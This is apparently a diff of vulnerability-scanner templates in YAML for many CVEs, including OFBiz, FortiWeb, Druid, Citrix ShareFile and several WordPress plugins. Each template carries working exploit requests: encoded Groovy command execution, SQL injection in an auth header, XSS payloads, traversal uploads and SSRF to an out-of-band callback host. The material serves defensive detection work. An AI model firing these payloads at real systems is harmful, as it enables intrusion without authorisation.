+# digest: 490a0046304402202b5965d1f9657cf348e7aea47e2007b879e608dca02c820d132fb69833ee3660022038c622e8bac583966ca9c3c1266044473d44129139614b76b15b9a12236bd7e6:922c64590222798bb761d5b6d8e72950
@@ -42,15 +42,12 @@ http:

    matchers-condition: and
    matchers:
-      - type: word
+      - type: regex
        part: body_2
-        words:
-          - "uid="
-          - "gid="
-          - "groups="
-        condition: and
+        regex:
+          - "uid=[0-9]+.*gid=[0-9]+.*"

      - type: status
        status:
          - 200
-# digest: 4a0a004730450220701de468852a0308df5f7800f563dc37c7f3432ca6e55abac496c4d34922d29f022100973b8b2b48edfe2215098955ff483b59db2679a2791461ff49619f3e75c4da92:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502204a6c2a72cf9ab669b4057a3e7b7529a4d51070e269524f659d0d42b15df0eb34022100ba31cf450bbea11b53ebbb61099479c73218a0d3dde7c31fd8b59346058d571f:922c64590222798bb761d5b6d8e72950
@@ -42,15 +42,12 @@ http:

    matchers-condition: and
    matchers:
-      - type: word
+      - type: regex
        part: body_2
-        words:
-          - "uid="
-          - "gid="
-          - "groups="
-        condition: and
+        regex:
+          - "uid=[0-9]+.*gid=[0-9]+.*"

      - type: status
        status:
          - 200
-# digest: 4b0a00483046022100b0c0e18a1378d60acf899f6c700882fd541ba798098b5f3bd7017ffe9476d0950221008f3bc39eb882368273a7148c4e10921741f747a83a52fd1a4aa11706aa9cd83c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206cd1c074ded9e86d901d01fe853c6f9a2c5e36669c72c9982a97b6b1c6772e0d022100e0b3cef49f9d99129ddcc81b83b4f4e6b9990285cf9957a34f59e13f6282faa7:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,57 @@
+id: CVE-2020-36708
+
+info:
+  name: WordPress Epsilon Framework Themes <=2.4.8 - Remote Code Execution
+  author: madrobot
+  severity: critical
+  description: |
+    WordPress themes including Shapely <= 1.2.7, NewsMag <= 2.4.1, Activello <= 1.4.0, Illdy <= 2.1.4, Allegiant <= 1.2.2, Newspaper X <= 1.3.1, Pixova Lite <= 2.0.5, Brilliance <= 1.2.7, MedZone Lite <= 1.2.4, Regina Lite <= 2.0.4, Transcend <= 1.1.8, Affluent <= 1.1.0, Bonkers <= 1.0.4, Antreas <= 1.0.2, Sparkling <= 2.4.8, and NatureMag Lite <= 1.0.4 contain a function injection caused by epsilon_framework_ajax_action, letting unauthenticated attackers call functions and achieve remote code execution, exploit requires no authentication.
+  impact: |
+    Unauthenticated attackers can execute arbitrary code remotely, leading to full site compromise.
+  remediation: |
+    Update themes to the latest versions where the vulnerability is fixed or apply security patches provided by theme developers.
+  reference:
+    - https://www.exploit-db.com/exploits/49327
+    - https://wpscan.com/vulnerability/10417
+    - https://wpscan.com/vulnerability/bec52a5b-c892-4763-a962-05da7100eca5
+    - https://www.wordfence.com/blog/2020/11/large-scale-attacks-target-epsilon-framework-themes/
+    - https://www.wordfence.com/threat-intel/vulnerabilities/id/5b75c322-539d-44e9-8f26-5ff929874b67?source=cve
+    - https://blog.nintechnet.com/unauthenticated-function-injection-vulnerability-fixed-in-15-wordpress-themes/
+    - https://blog.nintechnet.com/unauthenticated-function-injection-vulnerability-in-wordpress-sparkling-theme/
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2020-36708
+    cwe-id: CWE-94
+    epss-score: 0.76375
+    epss-percentile: 0.98869
+    cpe: cpe:2.3:a:colorlib:activello:*:*:*:*:*:wordpress:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: colorlib
+    product: activello
+    kev: true
+    vkev: true
+  tags: wordpress,rce,cve,cve2020,edb,wpscan,kev
+
+http:
+  - raw:
+      - |
+        POST /wp-admin/admin-ajax.php?action=action_name HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+
+        action=epsilon_framework_ajax_action&args%5Baction%5D%5B%5D=Requests&args%5Baction%5D%5B%5D=request_multiple&args%5Bargs%5D%5B0%5D%5Burl%5D=https://oast.me/
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "Interactsh Server"
+          - "protocol_version"
+
+      - type: status
+        status:
+          - 200
@@ -24,7 +24,7 @@ info:
    epss-percentile: 0.99978
    cpe: cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:*
  metadata:
-    max-request: 14
+    max-request: 13
    vendor: atlassian
    product: confluence_data_center
    shodan-query:
@@ -33,23 +33,7 @@ info:
    fofa-query: app="atlassian-confluence"
  tags: cve2021,cve,rce,confluence,injection,ognl,kev,atlassian

-flow: http(1) && http(2)
-
 http:
-  - raw:
-      - |
-        GET / HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers:
-      - type: word
-        words:
-          - "confluence"
-          - "atlassian"
-        condition: or
-        internal: true
-
-  - raw:
  - raw:
      - |
        POST /{{path}} HTTP/1.1
@@ -86,4 +70,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022100a807b024f4b6572ef0dce68722732d5456c3be172d674203507ed1782554416c022011cb466b80d76646f00c05fc1ef32b008157e2683b7082cd57579959d540ff51:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402207e20dc010a7d2c3f73b40ee2c85718de70c646b8653183e5e0fc187e0ce3cfa90220058afa37e678b21514632f505b8c3e997470d42233965402a0826f6c8dfe51cd:922c64590222798bb761d5b6d8e72950
@@ -2,10 +2,10 @@ id: CVE-2022-1595

 info:
  name: WordPress HC Custom WP-Admin URL <=1.4 - Admin Login URL Disclosure
-  author: theamanrawat
+  author: theamanrawat,oleveloper
  severity: medium
  description: |
-    WordPress HC Custom WP-Admin URL plugin through 1.4 leaks the secret login URL when sending a specially crafted request, thereby allowing an attacker to discover the administrative login URL.
+    The HC Custom WP-Admin URL WordPress plugin through 1.4 leaks the secret login URL when sending a specific crafted request
  remediation: |
    Update to the latest version of WordPress HC Custom WP-Admin URL plugin (>=1.5) to mitigate the vulnerability.
  reference:
@@ -21,12 +21,8 @@ info:
    epss-percentile: 0.94408
    cpe: cpe:2.3:a:hc_custom_wp-admin_url_project:hc_custom_wp-admin_url:*:*:*:*:*:wordpress:*:*
  metadata:
-    verified: true
    max-request: 1
-    vendor: "hc_custom_wp-admin_url_project"
-    product: "hc_custom_wp-admin_url"
-    framework: wordpress
-  tags: cve,cve2022,unauth,wpscan,wordpress,wp-plugin,wp,hc-custom-wp-admin-url,hc_custom_wp-admin_url_project
+  tags: cve,cve2022,unauth,wpscan,wordpress,wp-plugin,wp,hc-custom-wp-admin-url

 http:
  - raw:
@@ -35,11 +31,19 @@ http:
        Host: {{Hostname}}
        Cookie: valid_login_slug=1

+    matchers-condition: and
    matchers:
-      - type: dsl
-        dsl:
-          - "status_code == 302"
-          - "contains(header, 'wordpress_')"
-          - "contains(header, 'Location')"
-        condition: and
-# digest: 4a0a00473045022007e840c0269957fcd1f9d951671089bda90fc2957ed36efbf9c9e5e01723cc0b022100870fb0ff8950d25f12f3ca53d1dca0402d40a56f673edd3b3fb070f285e0704c:922c64590222798bb761d5b6d8e72950
+      - type: regex
+        part: header
+        regex:
+          - "(?i)Set-Cookie:.*wordpress_logged_in_"
+
+      - type: regex
+        part: header
+        regex:
+          - "(?i)Location:.*(/wp-admin/|/[^/]+/wp-login\\.php)"
+
+      - type: status
+        status:
+          - 302
+# digest: 4b0a00483046022100b0eddd8f8322482719cd269a061c43122645c8fedfe99dd448d5683b4574dc9a022100efe4cd6fdffc0327e24b1481f1d17d4a8f0a018dcaf5323a636bf9b519e5a312:922c64590222798bb761d5b6d8e72950
@@ -24,28 +24,13 @@ info:
    cpe: cpe:2.3:a:automattic:sensei_lms:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
-    max-request: 101
+    max-request: 100
    vendor: automattic
    product: sensei_lms
    framework: wordpress
  tags: cve,cve2022,wp,disclosure,wpscan,sensei-lms,fuzz,hackerone,wordpress,wp-plugin,automattic

-flow: http(1) && http(2)
-
 http:
-  - method: GET
-    path:
-      - "{{BaseURL}}/wp-json/wp/v2/"
-
-    matchers:
-      - type: word
-        words:
-          - "sensei"
-          - "wp-json"
-        condition: or
-        internal: true
-
-  - method: GET
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/wp/v2/sensei-messages/{{num}}"
@@ -71,4 +56,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022100cebaa957b132af956ee743a6ccb602385ae92da05941df4dd57c9f45148aace802204fffed9eb8dd73ecc5b1f6853ca94db221fb66883edf87d1aad2a8b5ce6dbf67:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100d42245a4b7f6ac4bea7e66161d020c049dc730615bd1ffd40aef1dbcd8a2ac3b02200b098b1a2384123f15462721e854c55a91d47f09c0c612e41e3705d4591a4ec7:922c64590222798bb761d5b6d8e72950
@@ -26,7 +26,7 @@ info:
    cpe: cpe:2.3:a:citrix:sharefile_storage_zones_controller:*:*:*:*:*:*:*:*
  metadata:
    verified: true
-    max-request: 257
+    max-request: 256
    vendor: citrix
    product: sharefile_storage_zones_controller
    shodan-query:
@@ -38,11 +38,10 @@ info:
 variables:
  fileName: '{{rand_base(8)}}'

-flow: http(1) && http(2)
-
 http:
  - raw:
      - |
+
        GET / HTTP/1.1
        Host: {{Hostname}}

@@ -55,7 +54,6 @@ http:
        condition: or
        internal: true

-  - raw:
  - raw:
      - |
        POST /documentum/upload.aspx?parentid={{url_encode(padding)}}&raw=1&unzip=on&uploadid={{fileName}}\..\..\..\cifs&filename={{fileName}}.aspx HTTP/1.1
@@ -83,4 +81,4 @@ http:
      - type: dsl
        dsl:
          - 'BaseURL+ "/cifs/" + fileName + ".aspx"'
-# digest: 490a0046304402207b58368de2b51346aa7fc84d165da14a5ea7619d23bfb3cd396b3a87082147a4022015919596fc5fb7cfd2e3a52319098b4c20d075d63587ef74ec5de64934b65d10:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022038b2a8ca83500a3604488ebf9829007a92dce8e6060f51c5dabd583bb3f58cb8022100a7eb2546c9724adc33c048d65367cb87b6d2c7a00bf6b3e77494800631c9f303:922c64590222798bb761d5b6d8e72950
@@ -25,7 +25,7 @@ info:
    cpe: cpe:2.3:a:apache:superset:*:*:*:*:*:*:*:*
  metadata:
    verified: true
-    max-request: 46
+    max-request: 45
    vendor: apache
    product: superset
    shodan-query:
@@ -37,23 +37,7 @@ info:
      - icon_hash=1582430156
  tags: packetstorm,cve,cve2023,apache,superset,auth-bypass,kev

-flow: http(1) && http(2)
-
 http:
-  - raw:
-      - |
-        GET / HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers:
-      - type: word
-        words:
-          - "Apache Superset"
-          - "superset"
-        condition: or
-        internal: true
-
-  - raw:
  - raw:
      - |
        GET /api/v1/database/{{path}} HTTP/1.1
@@ -93,4 +77,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022100b23fa8461bf42acee70160fa29dfac5eb45d30c418efec15b972a716b0eaef7502201000194e3de652714974afd8cf64483697fbb703e52e784b56b6baafb6097ae5:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200cb2611794cdcfd164580341ce71e244161bc8b6721fd832f60c1fc1055fe428022100c6629fe61173f1f52de6b1d985ee5a98cd3abb92bb079dbce0cd65ddf72c35bf:922c64590222798bb761d5b6d8e72950
@@ -24,7 +24,7 @@ info:
    cpe: cpe:2.3:a:gitlab:gitlab:16.0.0:*:*:*:community:*:*:*
  metadata:
    verified: true
-    max-request: 17
+    max-request: 16
    vendor: gitlab
    product: gitlab
    shodan-query:
@@ -37,23 +37,7 @@ info:
 variables:
  data: "{{rand_base(5)}}"

-flow: http(1) && http(2)
-
 http:
-  - raw:
-      - |
-        GET / HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers:
-      - type: word
-        words:
-          - "GitLab"
-          - "gitlab"
-        condition: or
-        internal: true
-
-  - raw:
  - raw:
      - |
        GET /users/sign_in HTTP/1.1
@@ -231,4 +215,4 @@ http:
          - '"url":"\/uploads\/([0-9a-z]+)\/'
        internal: true
        part: body
-# digest: 4a0a00473045022100c3a0188143213dfd2f20284c15140a18d349b3ef0068d203081023388a6dce6e022028a3158b1dc6ed2772340bbd48004786e236e32513f588699f2ab5b3e0aea750:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100a8e01bd9de0cc1ea447f44059a40c0f926cad83117e21550c9775ab1a6c3b1ea02201696a8331f74b53a642052c0bec140c307a6ba2c1098cbc720d31aee7c0fa1f8:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,58 @@
+id: CVE-2023-37988
+
+info:
+  name: Contact Form Generator <= 2.5.5 - Cross-Site Scripting
+  author: 0xr2r,vats147
+  severity: medium
+  description: |
+    The Contact Form Generator plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'id' parameter in wp-admin/admin.php in versions up to, and including, 2.5.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
+  remediation: |
+    Update to plugin version 2.5.6 or later.
+  reference:
+    - https://packetstorm.news/files/id/174896
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-37988
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2023-37988
+    cwe-id: CWE-79
+    cpe: cpe:2.3:a:creative-solutions:contact_form_generator:*:*:*:*:*:wordpress:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: creative-solutions
+    product: contact-form-generator
+    fofa-query: body="/wp-content/plugins/contact-form-generator"
+  tags: cve,cve2023,wordpress,wp,wp-plugin,xss,contact-form-generator,authenticated
+
+http:
+  - raw:
+      - |
+        POST /wp-login.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
+
+      - |
+        GET /wp-admin/admin.php?page=contact_form_generator&id=1%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body_2
+        words:
+          - "<script>alert(document.domain)</script>"
+          - "contact_form_generator"
+        condition: and
+
+      - type: word
+        part: content_type_2
+        words:
+          - "text/html"
+
+      - type: status
+        status:
+          - 200
+# digest: 4a0a004730450221008d0597b2c94c39e58b6b0e88546e885d8f88cefec7a242625d3195d560d3424302200d24a7ec9c71ea57b03c10b30faff127256071998082f8693ab52808f1bc0d75:922c64590222798bb761d5b6d8e72950
@@ -24,7 +24,7 @@ info:
    cpe: cpe:2.3:a:alkacon:opencms:*:*:*:*:*:*:*:*
  metadata:
    verified: true
-    max-request: 12
+    max-request: 11
    vendor: alkacon
    product: opencms
    shodan-query:
@@ -36,22 +36,7 @@ info:
    google-query: intitle:"opencms"
  tags: cve2023,cve,opencms,xss,alkacon

-flow: http(1) && http(2)
-
 http:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-
-    matchers:
-      - type: word
-        words:
-          - "OpenCms"
-          - "opencms"
-        condition: or
-        internal: true
-
-  - method: GET
  - method: GET
    path:
      - "{{BaseURL}}{{paths}}"
@@ -87,4 +72,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022042abc20b1e570314f15fd86b428ac9382d57e03243f10db661faa38e076f6012022100ab68bc6291dc71fb3fc6da612331a317e655620ebd162e7c33bc156c27cd2c99:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100bd519be691e331b047e373ee7359f78798681506af39f26df028d472fd77285e022100da36570f6be28fa91bc9c3961ce98fa1f5172d1e4bde77201cecb88b95c12cee:922c64590222798bb761d5b6d8e72950
@@ -1,11 +1,13 @@
 id: CVE-2024-36104

 info:
-  name: Apache OFBiz - Path Traversal
+  name: Apache OFBiz - Directory Traversal & Remote Code Execution
  author: Co5mos
  severity: critical
  description: |
    Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 18.12.14. Users are recommended to upgrade to version 18.12.14, which fixes the issue.
+  impact: |
+    An attacker can exploit this directory traversal vulnerability to execute arbitrary code remotely, potentially compromising the entire system and accessing sensitive data.
  reference:
    - http://www.openwall.com/lists/oss-security/2024/06/03/1
    - https://issues.apache.org/jira/browse/OFBIZ-13092
@@ -17,16 +19,24 @@ info:
    cvss-score: 9.1
    cve-id: CVE-2024-36104
    cwe-id: CWE-22
-    epss-score: 0.93507
-    epss-percentile: 0.99856
-    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
+    epss-score: 0.93805
+    epss-percentile: 0.99852
  metadata:
    verified: true
-    max-request: 1
-    fofa-query: app="Apache_OFBiz"
-    product: ofbiz
+    max-request: 2
    vendor: apache
-  tags: cve,cve2024,apache,obiz,lfi
+    product: ofbiz
+    shodan-query:
+      - http.title:"ofbiz"
+      - http.html:"apache ofbiz"
+      - http.html:"ofbiz"
+      - ofbiz.visitor=
+    fofa-query:
+      - app="apache_ofbiz"
+      - body="apache ofbiz"
+      - title="ofbiz"
+    google-query: intitle:"ofbiz"
+  tags: cve,cve2024,apache,ofbiz,lfi

 http:
  - raw:
@@ -37,12 +47,21 @@ http:

        groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0064\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b

+      - |
+        POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0070\u0063\u006f\u006e\u0066\u0069\u0067\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b
+
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
+          - 'IPv4 Address[\s.]*:\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})'
          - 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'
+        condition: or

      - type: word
        part: body
@@ -52,4 +71,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4b0a00483046022100a2d5c8cc6d7267c0909232012c3fd6f87edc5ec8a9d48c857d01f957510257b2022100b31add5960f654e7c4e34199c1d47e962ed51a783c58128ab53cffdc4e0018dc:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100960eef5e03e6bdcbb6cd366ce51990747275c02f724239307ebb001d97f1c6b30220513b06c6cc488853592452ba490edc52c857cc6fce76ab75f9b75559eccc113a:922c64590222798bb761d5b6d8e72950
@@ -33,4 +33,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 490a0046304402203ee8036b8bde7afce4f3562abf145e9ac84a7da7ebbf15315a4ddba67e80f94e02200a0490e37232f1c5c0197a360b19cb7f7f1716c9c23cf0d89abf7e80774a5629:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100d7bfc3295bce78bfe977a90587a450445846e4de4603fe733772f3a634b740df022100db312cbc6a90404e99a7de167f242fefe16d41cc17664be4f090bb9c98a278cf:922c64590222798bb761d5b6d8e72950
@@ -1,11 +1,13 @@
 id: CVE-2024-38856

 info:
-  name: Apache OFBiz - Remote Code Execution
+  name: Apache OFBiz - Improper Authorization & Remote Code Execution
  author: Co5mos
  severity: critical
  description: |
-    Incorrect Authorization vulnerability in Apache OFBiz. This issue affects Apache OFBiz: through 18.12.14. Users are recommended to upgrade to version 18.12.15, which fixes the issue. Unauthenticated endpoints could allow execution of screen rendering code of screens if some preconditions are met (such as when the screen definitions don't explicitly check user's permissions because they rely on the configuration of their endpoints).
+    Improper Authorization vulnerability in Apache OFBiz. This issue affects Apache OFBiz: through 18.12.14. Users are recommended to upgrade to version 18.12.15, which fixes the issue. Unauthenticated endpoints could allow execution of screen rendering code of screens if some preconditions are met (such as when the screen definitions don't explicitly check user's permissions because they rely on the configuration of their endpoints).
+  impact: |
+    An attacker can exploit this directory traversal vulnerability to execute arbitrary code remotely, potentially compromising the entire system and accessing sensitive data.
  reference:
    - https://unam4.github.io/2024/08/05/CVE-2024-38856-ofbiz-12-14-filter%E7%BB%95%E8%BF%87%E5%88%B0rce/
    - https://issues.apache.org/jira/browse/OFBIZ-13128
@@ -13,16 +15,21 @@ info:
    - https://ofbiz.apache.org/download.html
    - https://ofbiz.apache.org/security.html
  classification:
-    epss-score: 0.94366
-    epss-percentile: 0.99957
+    cve-id: CVE-2024-32113
+    cvss-score: 9.8
+    cwe-id: CWE-22
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    epss-score: 0.93490
+    epss-percentile: 0.99819
    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
  metadata:
    verified: true
-    max-request: 1
+    max-request: 2
    fofa-query: app="Apache_OFBiz"
+    shodan-query: 'title:"OFBiz"'
    product: ofbiz
    vendor: apache
-  tags: cve,cve2024,ofbiz,apache,rce,kev
+  tags: cve,cve2024,apache,ofbiz,rce,kev

 http:
  - raw:
@@ -33,12 +40,21 @@ http:

        groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0064\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b

+      - |
+        POST /webtools/control/main/ProgramExport HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0070\u0063\u006f\u006e\u0066\u0069\u0067\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b
+
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
+          - 'IPv4 Address[\s.]*:\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})'
          - 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'
+        condition: or

      - type: word
        part: body
@@ -48,4 +64,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 490a00463044022017abae5c23708789e69056ac955d01f6bc60b38c5a5932a8b8f5e9044997c37002204a50e7dc3179dff2a73963f388cc0bfb50548dcfdceafc10fea41f14ae3c4cda:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502203100c0a829b37f782e358409a1f5cfd8cfff093a0942997231028551d5506d1c022100b428a793dae5e4b3daf73b997fd0afe7806d592864c4fafec53aa85c7e9ec74f:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,52 @@
+id: CVE-2025-25257
+
+info:
+  name: Fortinet FortiWeb - SQL Injection
+  author: watchtowr,johnk3r
+  severity: critical
+  description: |
+    An improper neutralization of special elements used in an SQL command ('SQL Injection') vulnerability [CWE-89] in FortiWeb may allow an unauthenticated attacker to execute unauthorized SQL code or commands via crafted HTTP or HTTPS requests.
+  impact: |
+    An attacker can exploit this vulnerability to execute unauthorized SQL commands, potentially leading to data exposure, data manipulation, or system compromise.
+  remediation: |
+    Apply the latest security patches provided by Fortinet to fix the SQL injection vulnerability in FortiWeb.
+  reference:
+    - https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/
+    - https://fortiguard.fortinet.com/psirt/FG-IR-25-151
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2025-25257
+    cwe-id: CWE-89
+    cpe: cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: fortinet
+    product: fortiweb
+    shodan-query:
+      - ssl:"cn=fortiweb"
+      - title:"FortiWeb - "
+  tags: cve,cve2025,fortinet,fortiweb,sqli,unauth
+
+http:
+  - raw:
+      - |
+        GET /api/fabric/device/status HTTP/1.1
+        Host: {{Hostname}}
+        Authorization: Bearer AAAAAA'or'1'='1
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'serial'
+          - 'fortiweb'
+          - 'device_type'
+        condition: and
+
+      - type: status
+        status:
+          - 200
+# digest: 4b0a004830460221008cb61dec9c3e876da871cb80350b9bad4f19d8b824e61156824c9cb7869925f7022100bbe42bfb3ac11bcbe94b6299097b8c19c6ed420ec6ac3b05d10a84d05b77654a:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,49 @@
+id: CVE-2025-27888
+
+info:
+  name: Apache Druid - Server-Side Request Forgery
+  author: xbow,DhiyaneshDK
+  severity: high
+  description: |
+    Server-Side Request Forgery (SSRF), Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), URL Redirection to Untrusted Site ('Open Redirect') vulnerability in Apache Druid.This issue affects all previous Druid versions.When using the Druid management proxy, a request that has a specially crafted URL could be used to redirect the request to an arbitrary server instead. This has the potential for XSS or XSRF. The user is required to be authenticated for this exploit. The management proxy is enabled in Druid's out-of-box configuration. It may be disabled to mitigate this vulnerability. If the management proxy is disabled, some web console features will not work properly, but core functionality is unaffected.Users are recommended to upgrade to Druid 31.0.2 or Druid 32.0.1, which fixes the issue.
+  reference:
+    - https://lists.apache.org/thread/c0qo989pwtrqkjv6xfr0c30dnjq8vf39
+    - http://www.openwall.com/lists/oss-security/2025/03/19/7
+  classification:
+    epss-score: 0.00049
+    epss-percentile: 0.15327
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: apache
+    product: druid
+    shodan-query: http.title:"apache druid"
+    fofa-query: title="apache druid"
+    google-query: intitle:"apache druid"
+  tags: cve,cve2025,apache,druid,ssrf,oast,oss
+
+flow: http(1) && http(2)
+
+http:
+  - method: GET
+    path:
+      - '{{BaseURL}}/unified-console.html'
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(body, "Apache Druid")'
+        internal: true
+
+  - raw:
+      - |
+        GET /proxy/coordinator@{{interactsh-url}} HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        part: interactsh_protocol
+        words:
+          - "http"
+          - "dns"
+# digest: 490a004630440220335044d1a9e01703441b74f2cdc26e9a56fa5882f016f9c640a943d5d3180d720220380d26bcda930a77c943acbfcdfa6195047530c1f8fa6ca25e868536c8af1ce0:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,78 @@
+id: CVE-2025-28906
+
+info:
+  name: Skitter Slideshow <= 2.5.2 - Authenticated (Administrator+) Stored Cross-Site Scripting
+  author: nblirwn
+  severity: medium
+  description: |
+    The Skitter Slideshow plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.5.2 due to insufficient input sanitization and output escaping.
+  reference:
+    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-skitter-slideshow/skitter-slideshow-252-authenticated-administrator-stored-cross-site-scripting
+    - https://wordpress.org/plugins/wp-skitter-slideshow/
+    - https://patchstack.com/database/wordpress/plugin/wp-skitter-slideshow/vulnerability/wordpress-skitter-slideshow-plugin-2-5-2-cross-site-scripting-xss-vulnerability
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
+    cvss-score: 5.9
+    cve-id: CVE-2025-28906
+    cwe-id: CWE-79
+    epss-score: 0.00043
+    epss-percentile: 0.12837
+  metadata:
+    verified: true
+    max-request: 5
+    publicwww-query: "/wp-content/plugins/wp-skitter-slideshow/"
+  tags: cve,cve2025,wp-plugin,wp-skitter-slideshow,wordpress,wp,xss,authenticated
+
+flow: http(1) && http(2)
+
+http:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        internal: true
+        dsl:
+          - "contains(body_1, 'wp-content/plugins/wp-skitter-slideshow/')"
+
+  - raw:
+      - |
+        POST /wp-login.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        log={{username}}&pwd={{password}}&wp-submit=Log+In
+
+      - |
+        GET /wp-admin/options-general.php?page=wp_skitter_menu HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        POST /wp-admin/options.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
